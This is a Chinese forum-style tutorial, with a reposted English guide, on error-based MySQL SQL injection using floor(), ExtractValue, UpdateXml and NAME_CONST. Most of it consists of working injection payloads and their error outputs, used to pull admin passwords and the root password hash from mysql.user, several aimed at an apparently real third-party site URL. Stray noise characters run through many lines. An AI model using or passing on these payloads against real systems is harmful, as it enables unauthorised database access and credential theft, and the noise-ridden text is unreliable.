mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
/ m+ J: Z( s7 k. C0 w% n首先进行正常查询：

mysql> select * from article where id = 1;
/ n1 n2 a1 f! i. j+—-+——-+———+
& [# I) {* k  a- t& [, o2 x| id | title | content |
) c- H7 U' \) v/ j! J. M+—-+——-+———+
|  1 | test  | do it   |
$ s3 @: U  j+ |5 o; r% r$ Y! ~, s+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
4 S' N7 A. Z& r  O4 _; IERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
  B1 K, ], A* D/ x* qERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

* Y7 p) E6 S* z6 b0 C+ ?' _

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
9 R) q/ M8 }$ L' w# h: t
/ M5 i- ~: q9 u. C; ]http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
9 Z) B! G7 `7 q' i& k. h
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

$ R1 w$ W/ g- G( GMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

+ D3 [* t4 j) z7 Q/ r) o5 R7 Q( t
相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
( r' T/ a# Y3 C- u: A
Code:
  S+ C1 y$ J6 R% LNAME_CONST(DATA, VALUE)

' L7 E+ l! g# S1 fReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
% d: f- w1 i$ n9 |
SELECT NAME_CONST('TEST', 1)
. L% D, p- H3 [
5 T" s9 X0 H0 C4 x3 `8 Z

0 Z# k& S5 b) T! e|---------------|
" B8 ~, m& O( `" z" I' r, B9 E  c|     TEST      |
9 C7 j9 F. k: L& m: F# o|               |
|---------------|
|       1       |
6 K2 Q  _9 ]" o; m: s$ Z|               |
3 ~- n0 y, p7 K- \' w' n/ n|---------------|
& Q- P; t% n: P* ~9 l) |8 I


3 ^7 ?& ]5 t$ B1 {" b, `1 e: h5 s, g
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

) A$ {) n9 p$ q" y6 I% hOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
# ], i  T1 v' C7 h
Code:
6 d+ d7 j. p" e! ~" ?8 `+ ^http://www.baido.hk/qcwh/content ... ;sid=19&cid=261




/ }3 `% W( z0 s. v
Code:
1 ?! A, b( P7 M8 H: s4 d9 cand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
% d  {: l+ E! _

, D4 f4 V6 k9 }4 X; ~9 PVAR = Your MySQL variable.
; q) G8 L+ y5 Y% Q
MySQL 5.1.3 Server System Variables

: n' f. N6 _: l& s+ g" j$ ^- aLet's try it out on my site..
; A" I6 u2 Y- E
5 K- b1 M- k( O3 k; RCode:
! \% n- ~. A& }- H9 Rhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
6 p, s* c9 |. c8 H2 `4 R3 X
Erroruplicate column name '5.0.27-community-nt'

+ \, }+ F: |" l7 c% Z& q$ ^
" s- ~, U) |; C' }$ T- O; J) C


Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:
' q' h. C3 s. Y( L3 \2 ?2 a5 E1 A3 l! v+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
6 H& ^) \: n5 h# b, O

We should get a duplicate column 1 error...
: @7 ~* d1 \  E2 k8 ]+ @2 c3 \& ?
Code:
" A& V! J: {9 A: p9 u5 S* ?6 C4 Nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

3 o! s) O) Q- {8 Y7 YErroruplicate column name '1

5 ?5 u, _; v" A- d4 O2 n7 V/ V/ q$ @
9 M( x$ b5 x$ q( q
" m, y3 t* i& @# y2 O' q: y


Now let's get the tables out this bitch..
% e5 P0 f' O3 ?, B( Q/ e# j9 {
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


! n  Z* s7 f+ g9 m. |; {: BLet's see if it works here, if it does, we can go on and finish the job.
9 I7 q, @' r7 [
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

& Z* {5 w- O! Y8 r# k; x
8 _! ~- [1 S$ c5 ~+ a4 pErroruplicate column name 'com_admanage
9 B0 I! S' S/ H# Q4 Y; `" j

/ P4 f) h" U" K9 B, h

+ A" a2 W0 n) M8 _
  X! r* V2 P2 _' f- \: r
# k, j' y( }+ K" s( V& x. YNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
! n" W( m0 k' Y1 r
Let's get the columns out of the user table..

2 W7 S! O# Y. u+ g, y- Z. J# iCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
1 ~  n7 \2 F/ `& ~% m+ ~, g

2 d- ^1 Q7 W" ?% [! b4 v5 iSo mine looks like this, and I get the duplicate column name 'Host'.
/ A, P8 j6 E, ^$ L- [, S" X
2 q1 k: q$ y( e! p+ m: ^Code:
* f; o9 [" _3 g( s% ahttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
' K! \' y8 A* [% @, E
Erroruplicate column name 'Host'
2 j+ t# i6 S* ~9 }9 O, @* j
. Q0 |9 W  v& `0 g0 W


0 L' Q3 t( F& ?% }! u

( U2 x1 l; I/ ^5 B) K3 f. ]- U; L8 I$ gWoot, time to finish this bitch off.

1 U; K' ?8 G5 U9 WCode:
: \. X( }* x* Z* q, o% h+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
# ?) x% u! y( T$ ^2 `* p/ u* {
/ o8 o; J$ P% M5 g
So mine looks like this...
. F/ P# R: y4 W* `1 @
6 T# ^+ E3 }6 M8 ]* a3 vCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
9 |- U0 R4 }! a; p- r
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
( {' M; _  D9 P, I+ t, h7 \. v
7 v4 f& X4 E$ R

: R5 }: @. @+ z9 S( c1 ^
3 T% r) C- L8 G: m1 B

And there we have it, thanks for reading.

3 _4 D% |+ W" W* U$ n' n5 F  x